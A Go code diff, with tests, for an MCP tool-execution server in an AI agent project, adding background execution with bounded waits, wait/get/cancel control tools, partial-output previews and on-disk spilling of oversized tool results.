func (s *Server) ConfigureToolResultSpillRoot(rootDir string) {
if s == nil {
return
}
s.mu.Lock()
s.spillRootDir = strings.TrimSpace(rootDir)
s.mu.Unlock()
if s.executionService != nil {
s.executionService.ConfigureToolResultSpillRoot(rootDir)
}
}
// ConfigureHTTPToolCallTimeoutFromAgentMinutes 将 agent.tool_timeout_minutes 同步到经 HTTP POST /api/mcp 触发的 tools/call。
// minutes<=0 表示不设置硬性截止时间(与配置「0 不限制」一致);minutes>0 为该次调用的最长等待时间。
// 未调用前对 tools/call 使用默认 30 分钟(与历史硬编码一致)。
@@ -125,6 +161,19 @@ func (s *Server) ConfigureHTTPToolCallTimeoutFromAgentMinutes(minutes int) {
s.httpToolTimeoutMinutes = &v
}
func (s *Server) ConfigureToolWaitTimeoutSeconds(seconds int) {
if s == nil {
return
}
s.mu.Lock()
defer s.mu.Unlock()
if seconds <= 0 {
s.toolWaitTimeout = 0
return
}
s.toolWaitTimeout = time.Duration(seconds) * time.Second
}
func (s *Server) effectiveHTTPToolCallDeadline(parent context.Context) (context.Context, context.CancelFunc) {
const defaultDur = 30 * time.Minute
if parent == nil {
@@ -555,13 +604,13 @@ func (s *Server) handleCallTool(requestCtx context.Context, msg *Message) *Messa
st, msg := executionStatusAndMessage(err)
execution.Status = st
execution.Error = msg
failed = true
failed = st != "cancelled"
} else if result != nil && result.IsError {
if cancelledWithUserNote {
execution.Status = "cancelled"
execution.Error = ""
execution.Result = result
failed = true
failed = false
} else {
execution.Status = "failed"
if len(result.Content) > 0 {
@@ -709,6 +758,11 @@ func (s *Server) updateStats(toolName string, failed bool) {
// GetExecution 获取执行记录(先从内存查找,再从数据库查找)
func (s *Server) GetExecution(id string) (*ToolExecution, bool) {
if s.executionService != nil {
if snap, err := s.executionService.Get(id); err == nil && snap != nil && snap.Execution != nil {
return snap.Execution, true
}
}
s.mu.RLock()
exec, exists := s.executions[id]
s.mu.RUnlock()
@@ -860,112 +914,91 @@ func (s *Server) CallTool(ctx context.Context, toolName string, args map[string]
return nil, "", fmt.Errorf("工具 %s 未找到", toolName)
}
// 创建执行记录
executionID := uuid.New().String()
execution := &ToolExecution{
ID: executionID,
ToolName: toolName,
Arguments: args,
Status: "running",
StartTime: time.Now(),
if s.executionService == nil {
s.executionService = NewExecutionService(s.storage, s.logger)
s.executionService.ConfigureToolResultMaxBytes(s.toolResultMaxBytes)
s.executionService.ConfigureToolResultSpillRoot(s.spillRootDir)
}
var ownerUserID string
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
execution.OwnerUserID = principal.UserID
ownerUserID = principal.UserID
}
execution.ConversationID = MCPConversationIDFromContext(ctx)
s.mu.Lock()
s.executions[executionID] = execution
// 如果内存中的执行记录超过限制,清理最旧的记录
s.cleanupOldExecutions()
s.mu.Unlock()
if s.storage != nil {
if err := s.storage.SaveToolExecution(execution); err != nil {
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
}
}
execCtx, runCancel := context.WithCancel(ctx)
s.registerRunningCancel(executionID, runCancel)
notifyToolRunBegin(ctx, executionID)
defer func() {
notifyToolRunEnd(ctx, executionID)
runCancel()
s.unregisterRunningCancel(executionID)
}()
result, err := handler(execCtx, args)
cancelledWithUserNote := s.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
s.mu.Lock()
now := time.Now()
execution.EndTime = &now
execution.Duration = now.Sub(execution.StartTime)
var failed bool
var finalResult *ToolResult
handle, err := s.executionService.Submit(ctx, ExecutionRequest{
ToolName: toolName,
Arguments: args,
ConversationID: MCPConversationIDFromContext(ctx),
OwnerUserID: ownerUserID,
Run: func(runCtx context.Context) (*ToolResult, error) {
return handler(runCtx, args)
},
OnDone: func(exec *ToolExecution) {
failed := exec != nil && exec.Status != ToolExecutionStatusCompleted && exec.Status != ToolExecutionStatusCancelled
s.updateStats(toolName, failed)
},
})
if err != nil {
st, msg := executionStatusAndMessage(err)
execution.Status = st
execution.Error = msg
failed = true
} else if result != nil && result.IsError {
if cancelledWithUserNote {
execution.Status = "cancelled"
execution.Error = ""
execution.Result = result
failed = true
finalResult = result
} else {
execution.Status = "failed"
if len(result.Content) > 0 {
execution.Error = result.Content[0].Text
} else {
execution.Error = "工具执行返回错误结果"
}
execution.Result = result
failed = true
finalResult = result
}
} else {
execution.Status = "completed"
if result == nil {
result = &ToolResult{
Content: []Content{
{Type: "text", Text: "工具执行完成,但未返回结果"},
},
}
}
execution.Result = result
finalResult = result
failed = false
return nil, "", err
}
if finalResult == nil {
finalResult = execution.Result
s.mu.RLock()
waitTimeout := s.toolWaitTimeout
s.mu.RUnlock()
if isExecutionControlTool(toolName) {
waitTimeout = 0
}
s.mu.Unlock()
if s.storage != nil {
if err := s.storage.SaveToolExecution(execution); err != nil {
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
}
snapshot, waitErr := s.executionService.Wait(ctx, handle.ID, waitTimeout)
if errors.Is(waitErr, ErrExecutionWaitTimeout) {
return internalMCPWaitTimeoutResult(snapshot, waitTimeout), handle.ID, nil
}
s.updateStats(toolName, failed)
if s.storage != nil {
s.mu.Lock()
delete(s.executions, executionID)
s.mu.Unlock()
if waitErr != nil {
return nil, handle.ID, waitErr
}
if err != nil {
return nil, executionID, err
if snapshot == nil || snapshot.Execution == nil {
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回执行快照"}}, IsError: true}, handle.ID, nil
}
if snapshot.Execution.Result != nil {
return snapshot.Execution.Result, handle.ID, nil
}
if snapshot.Execution.Error != "" {
return nil, handle.ID, errors.New(snapshot.Execution.Error)
}
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}, IsError: false}, handle.ID, nil
}
return finalResult, executionID, nil
func internalMCPWaitTimeoutResult(snapshot *ExecutionSnapshot, waitTimeout time.Duration) *ToolResult {
execID := ""
status := ToolExecutionStatusRunning
toolName := ""
elapsed := time.Duration(0)
if snapshot != nil && snapshot.Execution != nil {
execID = snapshot.Execution.ID
status = snapshot.Execution.Status
toolName = snapshot.Execution.ToolName
elapsed = time.Since(snapshot.Execution.StartTime).Round(time.Second)
}
waitText := "unbounded"
if waitTimeout > 0 {
waitText = waitTimeout.Round(time.Second).String()
}
msg := fmt.Sprintf(`工具已提交到后台执行但本次等待已到达上限
execution_id: %s
tool: %s
status: %s
wait_timeout: %s
elapsed: %s
你可以继续推理改用其他工具或调用 wait_tool_execution 继续等待该 execution_id也可以调用 cancel_tool_execution 取消`, execID, toolName, status, waitText, elapsed)
return &ToolResult{Content: []Content{{Type: "text", Text: msg}}, IsError: true}
}
func isExecutionControlTool(toolName string) bool {
switch strings.TrimSpace(toolName) {
case builtin.ToolGetToolExecution, builtin.ToolWaitToolExecution, builtin.ToolCancelToolExecution:
return true
default:
return false
}
}
// BeginToolExecution 创建 running 状态的执行记录,供 Eino 等非 CallTool 路径在工具开始时落库。
@@ -1020,6 +1053,8 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
var finalResult *ToolResult
s.mu.Lock()
maxBytes := s.toolResultMaxBytes
spillRoot := s.spillRootDir
exec, inMem := s.executions[id]
if !inMem || exec == nil {
exec = &ToolExecution{
@@ -1047,12 +1082,19 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
}
exec.Duration = now.Sub(exec.StartTime)
spill := ToolResultSpillConfig{
RootDir: spillRoot,
ProjectID: MCPProjectIDFromContext(ctx),
ConversationID: exec.ConversationID,
ExecutionID: id,
}
if failed {
st, msg := executionStatusAndMessage(invokeErr)
exec.Status = st
exec.Error = msg
if strings.TrimSpace(resultText) != "" {
finalResult = &ToolResult{Content: []Content{{Type: "text", Text: resultText}}}
finalResult = NormalizeToolResultForStorageWithSpill(finalResult, maxBytes, spill)
exec.Result = finalResult
}
} else {
@@ -1062,6 +1104,7 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
text = "(无输出)"
}
finalResult = &ToolResult{Content: []Content{{Type: "text", Text: text}}}
finalResult = NormalizeToolResultForStorageWithSpill(finalResult, maxBytes, spill)
exec.Result = finalResult
}
s.mu.Unlock()
@@ -1082,6 +1125,25 @@ func (s *Server) FinishToolExecution(ctx context.Context, executionID, toolName
return id
}
// AppendToolExecutionPartialOutput records a bounded tail preview for a running local execution.
// The final Result remains authoritative and is written only when the tool finishes.
func (s *Server) AppendToolExecutionPartialOutput(executionID, chunk string) {
if s == nil || strings.TrimSpace(executionID) == "" || chunk == "" {
return
}
id := strings.TrimSpace(executionID)
if s.executionService != nil && s.executionService.AppendPartialOutput(id, chunk) {
return
}
now := time.Now()
s.mu.Lock()
exec := s.executions[id]
if exec != nil {
appendPartialOutput(exec, chunk, defaultPartialOutputMaxBytes, now)
}
s.mu.Unlock()
}
// RecordCompletedToolInvocation 将已在其它路径完成的工具调用写入监控存储(格式与 CallTool 结束后一致),
// 用于 Eino ADK filesystem execute 等未经过 CallTool 的场景;返回 executionId 供助手消息 mcpExecutionIds 关联。
func (s *Server) RecordCompletedToolInvocation(ctx context.Context, toolName string, args map[string]interface{}, resultText string, invokeErr error) string {
@@ -1098,8 +1160,16 @@ func (s *Server) UpdateToolExecutionResult(executionID string, result *ToolResul
return nil
}
s.mu.Lock()
spill := ToolResultSpillConfig{
RootDir: s.spillRootDir,
ExecutionID: executionID,
}
if exec, ok := s.executions[executionID]; ok && exec != nil {
spill.ConversationID = exec.ConversationID
result = NormalizeToolResultForStorageWithSpill(result, s.toolResultMaxBytes, spill)
exec.Result = result
} else {
result = NormalizeToolResultForStorageWithSpill(result, s.toolResultMaxBytes, spill)
}
s.mu.Unlock()
if s.storage != nil {
@@ -1157,6 +1227,24 @@ func (s *Server) unregisterRunningCancel(id string) {
s.runningCancelsMu.Unlock()
}
// RegisterToolExecutionCancel lets non-ExecutionService tool paths, such as Eino
// filesystem execute, participate in cancel_tool_execution by execution_id.
func (s *Server) RegisterToolExecutionCancel(id string, cancel context.CancelFunc) {
id = strings.TrimSpace(id)
if s == nil || id == "" || cancel == nil {
return
}
s.registerRunningCancel(id, cancel)
}
func (s *Server) UnregisterToolExecutionCancel(id string) {
id = strings.TrimSpace(id)
if s == nil || id == "" {
return
}
s.unregisterRunningCancel(id)
}
func (s *Server) readAbortUserNote(id string) string {
s.runningCancelsMu.Lock()
defer s.runningCancelsMu.Unlock()
@@ -1205,6 +1293,9 @@ func (s *Server) applyAbortUserNoteToCancelledToolResult(executionID string, res
// CancelToolExecutionWithNote 取消内部工具;note 非空时与工具已返回文本合并后交给上层模型。
func (s *Server) CancelToolExecutionWithNote(id string, note string) bool {
if s.executionService != nil && s.executionService.Cancel(id, note) {
return true
}
s.runningCancelsMu.Lock()
cancel, ok := s.runningCancels[id]
if !ok || cancel == nil {
@@ -1232,12 +1323,17 @@ func (s *Server) ActiveRunningExecutionIDs() map[string]struct{} {
if s == nil {
return nil
}
out := make(map[string]struct{})
if s.executionService != nil {
for id := range s.executionService.ActiveRunningExecutionIDs() {
out[id] = struct{}{}
}
}
s.runningCancelsMu.Lock()
defer s.runningCancelsMu.Unlock()
if len(s.runningCancels) == 0 {
if len(s.runningCancels) == 0 && len(out) == 0 {
return nil
}
out := make(map[string]struct{}, len(s.runningCancels))
for id := range s.runningCancels {
out[id] = struct{}{}
}
+184
View File
@@ -3,7 +3,9 @@ package mcp
import (
"context"
"errors"
"strings"
"testing"
"time"
"cyberstrike-ai/internal/authctx"
@@ -34,3 +36,185 @@ func TestToolAuthorizerIsUniversalAndExecutionKeepsOwner(t *testing.T) {
t.Fatalf("execution owner = %#v, want u1", execution)
}
}
func TestServerCallToolBoundedWaitForInternalTool(t *testing.T) {
server := NewServer(zap.NewNop())
server.toolWaitTimeout = 10 * time.Millisecond
release := make(chan struct{})
started := make(chan struct{})
server.RegisterTool(Tool{Name: "slow", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
close(started)
select {
case <-release:
return &ToolResult{Content: []Content{{Type: "text", Text: "internal done"}}}, nil
case <-ctx.Done():
return nil, ctx.Err()
}
})
callCtx, callCancel := context.WithCancel(context.Background())
result, executionID, err := server.CallTool(callCtx, "slow", nil)
if err != nil {
t.Fatalf("CallTool returned error: %v", err)
}
if executionID == "" || result == nil || !result.IsError {
t.Fatalf("expected soft timeout with execution id, result=%#v id=%q", result, executionID)
}
if text := ToolResultPlainText(result); !strings.Contains(text, executionID) || !strings.Contains(text, "wait_tool_execution") {
t.Fatalf("timeout result missing execution guidance: %q", text)
}
select {
case <-started:
default:
t.Fatal("internal worker did not start")
}
callCancel()
close(release)
snapshot, err := server.executionService.Wait(context.Background(), executionID, time.Second)
if err != nil {
t.Fatalf("wait internal execution: %v", err)
}
if snapshot == nil || snapshot.Execution == nil || snapshot.Execution.Status != ToolExecutionStatusCompleted {
t.Fatalf("snapshot = %#v, want completed", snapshot)
}
if got := ToolResultPlainText(snapshot.Execution.Result); got != "internal done" {
t.Fatalf("result = %q, want internal done", got)
}
}
func TestWaitToolExecutionWaitsForInternalActiveExecution(t *testing.T) {
server := NewServer(zap.NewNop())
server.toolWaitTimeout = 10 * time.Millisecond
release := make(chan struct{})
server.RegisterTool(Tool{Name: "slow", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
select {
case <-release:
return &ToolResult{Content: []Content{{Type: "text", Text: "wait saw completion"}}}, nil
case <-ctx.Done():
return nil, ctx.Err()
}
})
RegisterExecutionControlTools(server, nil)
result, executionID, err := server.CallTool(context.Background(), "slow", nil)
if err != nil {
t.Fatalf("CallTool returned error: %v", err)
}
if result == nil || !result.IsError || executionID == "" {
t.Fatalf("expected initial bounded wait timeout, result=%#v id=%q", result, executionID)
}
done := make(chan *ToolResult, 1)
errCh := make(chan error, 1)
go func() {
waitResult, _, waitErr := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
"execution_id": executionID,
"timeout_seconds": 1,
})
if waitErr != nil {
errCh <- waitErr
return
}
done <- waitResult
}()
select {
case <-done:
t.Fatal("wait_tool_execution returned before target execution completed")
case err := <-errCh:
t.Fatalf("wait_tool_execution errored before release: %v", err)
case <-time.After(50 * time.Millisecond):
}
close(release)
select {
case err := <-errCh:
t.Fatalf("wait_tool_execution returned error: %v", err)
case waitResult := <-done:
if waitResult == nil || waitResult.IsError {
t.Fatalf("expected successful wait result, got %#v", waitResult)
}
if body := ToolResultPlainText(waitResult); !strings.Contains(body, "wait saw completion") || !strings.Contains(body, `"status": "completed"`) {
t.Fatalf("wait result missing completed target: %s", body)
}
case <-time.After(time.Second):
t.Fatal("wait_tool_execution did not return after target completion")
}
}
func TestWaitToolExecutionTimeoutIsObservationNotFailure(t *testing.T) {
server := NewServer(zap.NewNop())
server.toolWaitTimeout = 10 * time.Millisecond
release := make(chan struct{})
server.RegisterTool(Tool{Name: "slow_observed", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
<-release
return &ToolResult{Content: []Content{{Type: "text", Text: "done"}}}, nil
})
RegisterExecutionControlTools(server, nil)
result, executionID, err := server.CallTool(context.Background(), "slow_observed", nil)
if err != nil {
t.Fatalf("CallTool returned error: %v", err)
}
if result == nil || !result.IsError || executionID == "" {
t.Fatalf("expected initial bounded wait timeout, result=%#v id=%q", result, executionID)
}
waitResult, _, err := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
"execution_id": executionID,
"timeout_seconds": 0.01,
})
if err != nil {
t.Fatalf("wait_tool_execution returned error: %v", err)
}
if waitResult == nil {
t.Fatal("missing wait result")
}
if waitResult.IsError {
t.Fatalf("wait timeout should be a successful observation, got %#v", waitResult)
}
body := ToolResultPlainText(waitResult)
if !strings.Contains(body, `"status": "running"`) || !strings.Contains(body, "本次等待已到达") {
t.Fatalf("wait timeout body missing running status/guidance: %s", body)
}
close(release)
}
func TestGetToolExecutionIncludesBoundedPartialOutput(t *testing.T) {
server := NewServer(zap.NewNop())
RegisterExecutionControlTools(server, nil)
executionID := server.BeginToolExecution(context.Background(), "execute", map[string]interface{}{"command": "demo"})
if executionID == "" {
t.Fatal("missing execution id")
}
server.AppendToolExecutionPartialOutput(executionID, "first\n")
server.AppendToolExecutionPartialOutput(executionID, strings.Repeat("x", 32))
result, _, err := server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
"execution_id": executionID,
"partial_output_max_bytes": 8,
})
if err != nil {
t.Fatalf("get_tool_execution: %v", err)
}
body := ToolResultPlainText(result)
if !strings.Contains(body, `"partial_output": "xxxxxxxx"`) {
t.Fatalf("missing bounded partial output: %s", body)
}
if !strings.Contains(body, `"partial_output_bytes": 38`) {
t.Fatalf("missing partial byte count: %s", body)
}
result, _, err = server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
"execution_id": executionID,
"include_partial_output": false,
})
if err != nil {
t.Fatalf("get_tool_execution without partial: %v", err)
}
if body := ToolResultPlainText(result); strings.Contains(body, "partial_output") {
t.Fatalf("partial output should be omitted: %s", body)
}
}
+65
View File
@@ -0,0 +1,65 @@
package mcp
import "cyberstrike-ai/internal/tooloutput"
const DefaultToolResultMaxBytes = 12000
// ToolResultSpillConfig controls where oversized tool results are written on disk
// before the in-memory/DB/agent-facing payload is truncated.
type ToolResultSpillConfig struct {
RootDir string
ProjectID string
ConversationID string
ExecutionID string
}
// NormalizeToolResultForStorage returns the canonical result used by both the
// agent-facing response and monitor persistence. When maxBytes is exceeded the
// full text is spilled under the reduction cache tree and replaced with a
// <persisted-output> notice that includes the file path.
func NormalizeToolResultForStorage(result *ToolResult, maxBytes int) *ToolResult {
return NormalizeToolResultForStorageWithSpill(result, maxBytes, ToolResultSpillConfig{})
}
// NormalizeToolResultForStorageWithSpill is NormalizeToolResultForStorage with
// an explicit spill location (conversation/execution scoped).
func NormalizeToolResultForStorageWithSpill(result *ToolResult, maxBytes int, spill ToolResultSpillConfig) *ToolResult {
if result == nil {
return nil
}
out := cloneToolResult(result)
if maxBytes <= 0 {
return out
}
total := 0
for _, c := range out.Content {
if c.Type == "text" {
total += len(c.Text)
}
}
if total <= maxBytes {
return out
}
full := ToolResultPlainText(out)
bound := tooloutput.BoundWithSpill(full, maxBytes, tooloutput.SpillOpts{
RootDir: spill.RootDir,
ProjectID: spill.ProjectID,
ConversationID: spill.ConversationID,
ExecutionID: spill.ExecutionID,
})
out.Content = []Content{{Type: "text", Text: bound}}
return out
}
func cloneToolResult(in *ToolResult) *ToolResult {
if in == nil {
return nil
}
out := *in
if in.Content != nil {
out.Content = append([]Content(nil), in.Content...)
}
return &out
}
+158
View File
@@ -0,0 +1,158 @@
package mcp
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"time"
"go.uber.org/zap"
)
type inMemoryMonitorStorage struct {
executions map[string]*ToolExecution
}
func newInMemoryMonitorStorage() *inMemoryMonitorStorage {
return &inMemoryMonitorStorage{executions: map[string]*ToolExecution{}}
}
func (s *inMemoryMonitorStorage) SaveToolExecution(exec *ToolExecution) error {
if exec != nil {
s.executions[exec.ID] = cloneToolExecution(exec)
}
return nil
}
func (s *inMemoryMonitorStorage) UpdateToolExecutionResult(id string, result *ToolResult) error {
exec := s.executions[id]
if exec == nil {
exec = &ToolExecution{ID: id}
s.executions[id] = exec
}
exec.Result = cloneToolResult(result)
return nil
}
func (s *inMemoryMonitorStorage) LoadToolExecutions() ([]*ToolExecution, error) {
out := make([]*ToolExecution, 0, len(s.executions))
for _, exec := range s.executions {
out = append(out, cloneToolExecution(exec))
}
return out, nil
}
func (s *inMemoryMonitorStorage) GetToolExecution(id string) (*ToolExecution, error) {
if exec := s.executions[id]; exec != nil {
return cloneToolExecution(exec), nil
}
return nil, nil
}
func (s *inMemoryMonitorStorage) SaveToolStats(string, *ToolStats) error { return nil }
func (s *inMemoryMonitorStorage) LoadToolStats() (map[string]*ToolStats, error) {
return map[string]*ToolStats{}, nil
}
func (s *inMemoryMonitorStorage) UpdateToolStats(string, int, int, int, *time.Time) error {
return nil
}
func TestServerCallToolStoresAndReturnsSameGuardedResult(t *testing.T) {
storage := newInMemoryMonitorStorage()
server := NewServerWithStorage(zap.NewNop(), storage)
server.ConfigureToolWaitTimeoutSeconds(0)
server.ConfigureToolResultMaxBytes(400)
spillRoot := t.TempDir()
server.ConfigureToolResultSpillRoot(spillRoot)
server.RegisterTool(Tool{Name: "big", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
return &ToolResult{Content: []Content{{Type: "text", Text: strings.Repeat("x", 800)}}}, nil
})
ctx := WithMCPConversationID(context.Background(), "conv-spill")
result, executionID, err := server.CallTool(ctx, "big", nil)
if err != nil {
t.Fatalf("CallTool: %v", err)
}
if executionID == "" {
t.Fatal("missing execution id")
}
returned := ToolResultPlainText(result)
if !strings.Contains(returned, "<persisted-output>") || !strings.Contains(returned, "Full output saved to:") {
t.Fatalf("returned result was not spilled: %q", returned)
}
if len(returned) > 400 {
t.Fatalf("returned result exceeded hard limit: len=%d text=%q", len(returned), returned)
}
spillPath := filepath.Join(spillRoot, "conversations", "conv-spill", "trunc", executionID)
abs, err := filepath.Abs(spillPath)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(returned, abs) {
t.Fatalf("missing spill path %q in %q", abs, returned)
}
body, err := os.ReadFile(abs)
if err != nil {
t.Fatalf("read spill file: %v", err)
}
if string(body) != strings.Repeat("x", 800) {
t.Fatalf("spill body mismatch: len=%d", len(body))
}
inMem, ok := server.GetExecution(executionID)
if !ok || inMem == nil || inMem.Result == nil {
t.Fatalf("missing in-memory execution: %#v", inMem)
}
stored := storage.executions[executionID]
if stored == nil || stored.Result == nil {
t.Fatalf("missing stored execution: %#v", stored)
}
if ToolResultPlainText(inMem.Result) != returned {
t.Fatalf("in-memory result != returned\nmem=%q\nret=%q", ToolResultPlainText(inMem.Result), returned)
}
if ToolResultPlainText(stored.Result) != returned {
t.Fatalf("stored result != returned\nstored=%q\nret=%q", ToolResultPlainText(stored.Result), returned)
}
}
func TestExecutionServiceStoresGuardedResult(t *testing.T) {
service := NewExecutionService(nil, zap.NewNop())
service.ConfigureToolResultMaxBytes(400)
spillRoot := t.TempDir()
service.ConfigureToolResultSpillRoot(spillRoot)
handle, err := service.Submit(context.Background(), ExecutionRequest{
ToolName: "big",
ConversationID: "svc-conv",
Run: func(context.Context) (*ToolResult, error) {
return &ToolResult{Content: []Content{{Type: "text", Text: strings.Repeat("a", 800)}}}, nil
},
})
if err != nil {
t.Fatalf("Submit: %v", err)
}
snap, err := service.Wait(context.Background(), handle.ID, time.Second)
if err != nil {
t.Fatalf("Wait: %v", err)
}
got := ToolResultPlainText(snap.Execution.Result)
if !strings.Contains(got, "<persisted-output>") {
t.Fatalf("service result was not spilled: %q", got)
}
if len(got) > 400 {
t.Fatalf("service result exceeded hard limit: len=%d text=%q", len(got), got)
}
path := filepath.Join(spillRoot, "conversations", "svc-conv", "trunc", handle.ID)
abs, _ := filepath.Abs(path)
body, err := os.ReadFile(abs)
if err != nil {
t.Fatalf("read spill: %v", err)
}
if string(body) != strings.Repeat("a", 800) {
t.Fatalf("unexpected spill body len=%d", len(body))
}
}
+6
View File
@@ -199,6 +199,12 @@ type ToolExecution struct {
StartTime time.Time `json:"startTime"`
EndTime *time.Time `json:"endTime,omitempty"`
Duration time.Duration `json:"duration,omitempty"`
// PartialOutput is a bounded tail preview of output produced by a running tool.
// It is intentionally separate from Result, which remains the final canonical tool result.
PartialOutput string `json:"partialOutput,omitempty"`
PartialOutputBytes int64 `json:"partialOutputBytes,omitempty"`
PartialOutputTruncated bool `json:"partialOutputTruncated,omitempty"`
PartialOutputUpdatedAt *time.Time `json:"partialOutputUpdatedAt,omitempty"`
// ConversationID 仅 API 展示用(进行中的 Agent 任务),不写入 tool_executions 表。
ConversationID string `json:"conversationId,omitempty"`
OwnerUserID string `json:"-"`
+2 -2
View File
@@ -14,7 +14,7 @@ const (
staleRunningReconcileGap = 2 * time.Minute
)
// ExecutionReconciler 在启动或运行期将无对应协程的 running 执行记录收尾为 cancelled。
// ExecutionReconciler 在启动或运行期将无对应协程的 running 执行记录收尾为 orphaned。
type ExecutionReconciler struct {
db *database.DB
mcpServer *mcp.Server
@@ -32,7 +32,7 @@ func NewExecutionReconciler(db *database.DB, mcpServer *mcp.Server, externalMgr
}
}
// ReconcileOnStartup marks every persisted running row as cancelled (safe right after process start).
// ReconcileOnStartup marks every persisted running row as orphaned (safe right after process start).
func (r *ExecutionReconciler) ReconcileOnStartup() {
if r == nil || r.db == nil {
return
+2 -2
View File
@@ -32,7 +32,7 @@ func TestExecutionReconciler_ReconcileOnStartup(t *testing.T) {
if err != nil {
t.Fatalf("GetToolExecution: %v", err)
}
if got.Status != "cancelled" {
t.Fatalf("expected cancelled after startup reconcile, got %s", got.Status)
if got.Status != "orphaned" {
t.Fatalf("expected orphaned after startup reconcile, got %s", got.Status)
}
}
+57 -5
View File
@@ -8,6 +8,7 @@ import (
"io"
"os"
"path/filepath"
"regexp"
"strings"
"sync"
"sync/atomic"
@@ -315,10 +316,12 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
if len(preview) > 200 {
preview = preview[:200] + "..."
}
backgroundRunning := isErr && isMCPBackgroundWaitResult(content)
displayIsErr := isErr && !backgroundRunning
data := map[string]interface{}{
"toolName": toolName,
"success": !isErr,
"isError": isErr,
"success": !displayIsErr,
"isError": displayIsErr,
"result": content,
"resultPreview": preview,
"agentFacing": true, // 与 reduction 后送入 ChatModel 的正文一致,供前端展示
@@ -327,6 +330,13 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
"einoRole": einoRoleTag(agentName),
"source": "eino",
}
if backgroundRunning {
data["status"] = "background_running"
data["modelFacingIsError"] = isErr
if execID := mcpExecutionIDFromWaitResult(content); execID != "" {
data["executionId"] = execID
}
}
tid := strings.TrimSpace(toolCallID)
if tid == "" {
if inferred, ok := popNextPendingForAgent(agentName); ok {
@@ -347,8 +357,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
data["toolCallId"] = tid
toolCallID = tid
}
recordPendingExecuteStdoutDup(toolName, content, isErr)
recordEinoADKFilesystemToolMonitor(ctx, args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, args.MCPExecutionBinder, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
recordPendingExecuteStdoutDup(toolName, content, displayIsErr)
recordEinoADKFilesystemToolMonitor(ctx, args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, args.MCPExecutionBinder, toolName, toolCallID, runAccumulatedMsgs, content, displayIsErr)
if args.FilesystemMonitorAgent != nil && args.MCPExecutionBinder != nil {
if execID := args.MCPExecutionBinder.ExecutionID(toolCallID); execID != "" {
args.FilesystemMonitorAgent.UpdateMCPExecutionDisplayResult(execID, content)
@@ -588,11 +598,14 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
zap.Duration("backoff", backoff))
}
if progress != nil {
progress("eino_run_retry", fmt.Sprintf("遇到临时错误(限流或网络波动),%d 秒后第 %d/%d 次重试…", int(backoff.Seconds()), attemptNo, maxAttempts), map[string]interface{}{
errorKind, errorSummary := einoTransientRunErrorUserDetail(runErr)
progress("eino_run_retry", fmt.Sprintf("遇到临时错误,%d 秒后第 %d/%d 次重试。原因:%s", int(backoff.Seconds()), attemptNo, maxAttempts, errorSummary), map[string]interface{}{
"conversationId": conversationID,
"source": "eino",
"orchestration": orchMode,
"error": runErr.Error(),
"errorKind": errorKind,
"errorSummary": errorSummary,
"attempt": attemptNo,
"maxAttempts": maxAttempts,
"backoffSec": int(backoff.Seconds()),
@@ -601,7 +614,12 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
"conversationId": conversationID,
"source": "eino",
"orchestration": orchMode,
"error": runErr.Error(),
"errorKind": errorKind,
"errorSummary": errorSummary,
"attempt": attemptNo,
"maxAttempts": maxAttempts,
"backoffSec": int(backoff.Seconds()),
"contextSource": string(ctxSource),
})
}
@@ -1234,6 +1252,40 @@ func einoToolResultIsError(toolName, content string) bool {
return false
}
func isMCPBackgroundWaitResult(content string) bool {
text := strings.ToLower(strings.TrimSpace(content))
if text == "" {
return false
}
hasExecutionID := strings.Contains(text, "execution_id:") || strings.Contains(text, `"execution_id"`)
hasRunningStatus := strings.Contains(text, "status: running") || strings.Contains(text, "status: queued") ||
strings.Contains(text, `"status": "running"`) || strings.Contains(text, `"status":"running"`) ||
strings.Contains(text, `"status": "queued"`) || strings.Contains(text, `"status":"queued"`)
hasSoftWaitSignal := strings.Contains(text, "工具已提交到后台执行") ||
strings.Contains(text, "本次等待已到达") ||
strings.Contains(text, "wait_timeout:") ||
strings.Contains(text, "background execution") ||
strings.Contains(text, "still running") ||
strings.Contains(text, "仍未完成")
return hasExecutionID && hasRunningStatus && hasSoftWaitSignal
}
func mcpExecutionIDFromWaitResult(content string) string {
re := regexp.MustCompile(`(?i)"?execution_id"?\s*[:=]\s*"?([0-9a-f]{8}-[0-9a-f-]{12,})"?`)
if m := re.FindStringSubmatch(content); len(m) > 1 {
return strings.TrimSpace(m[1])
}
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
lower := strings.ToLower(line)
if !strings.HasPrefix(lower, "execution_id:") {
continue
}
return strings.Trim(strings.TrimSpace(line[len("execution_id:"):]), `"'`)
}
return ""
}
// einoToolResultBody 去掉工具错误前缀,返回展示/持久化正文。
func einoToolResultBody(content string) string {
if strings.HasPrefix(content, einomcp.ToolErrorPrefix) {
